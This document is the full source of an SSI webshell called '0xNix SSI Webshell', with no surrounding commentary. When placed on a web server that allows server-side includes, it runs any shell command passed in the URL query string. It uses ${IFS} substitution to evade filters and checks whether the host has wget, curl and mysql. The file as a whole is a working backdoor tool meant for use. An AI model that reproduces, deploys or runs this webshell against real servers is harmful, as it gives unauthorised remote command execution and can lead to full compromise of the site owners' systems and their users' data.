<!--#config errmsg="Function SSI Disabled"-->
<!--#set var="zero" value="" -->
<!--#if expr="$QUERY_STRING_UNESCAPED = \$zero" -->
<!--#set var="shl" value="id" -->
<!--#else -->
<!--#set var="shl" value=$QUERY_STRING_UNESCAPED -->
<!--#endif -->
<!DOCTYPE html>
0xNix SSI Webshell <title>0xNix SSI Webshell</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script language="javascript">
function nezcmd()
{
var uri = document.getElementById('command').value;
var rep = uri.replace(/[ ]/g,'${IFS}');
var res = encodeURI(uri);
document.location.href="<!--#echo var=DOCUMENT_NAME -->?"+encodeURI(rep);
}
</script>
<style type="text/css">
.input {
background: transparent;
border-color: #ffffff;
border-width: thin;
border: groove;
cursor: pointer;
}
button {
cursor: pointer;
}
</style>
<font face="courier" size="4"><i>0xNix SSI Webshell</font> <font face="courier">
System : <!--#exec cmd="{uname,-nrv}" -->
Current Path : <!--#echo var=DOCUMENT_ROOT --> </i>
MySql : <!--#exec cmd="{test,-e,/usr/bin/mysql}&&{echo,ON}||{echo,OFF}" --> | Wget : <!--#exec cmd="{test,-e,/usr/bin/wget}&&{echo,ON}||{echo,OFF}" --> | Curl : <!--#exec cmd="{test,-e,/usr/bin/curl}&&{echo,ON}||{echo,OFF}" -->
<font> COMMAND : <button class="input" id="gas" onclick="nezcmd();">execute</button>
Executed Command : </font><font face="courier" id="cmd"><!--#echo var=shl --></font> </i>
<pre><!--#exec cmd=$shl --></pre>
<script>
var cmd = document.getElementById("cmd").innerHTML.split("${IFS}").join(" ");
document.getElementById("cmd").innerHTML = cmd;
var gaskan = document.getElementById("command");
gaskan.addEventListener("keyup", function(event) {
if (event.keyCode === 13) {
event.preventDefault();
document.getElementById("gas").click();
}
});
</script>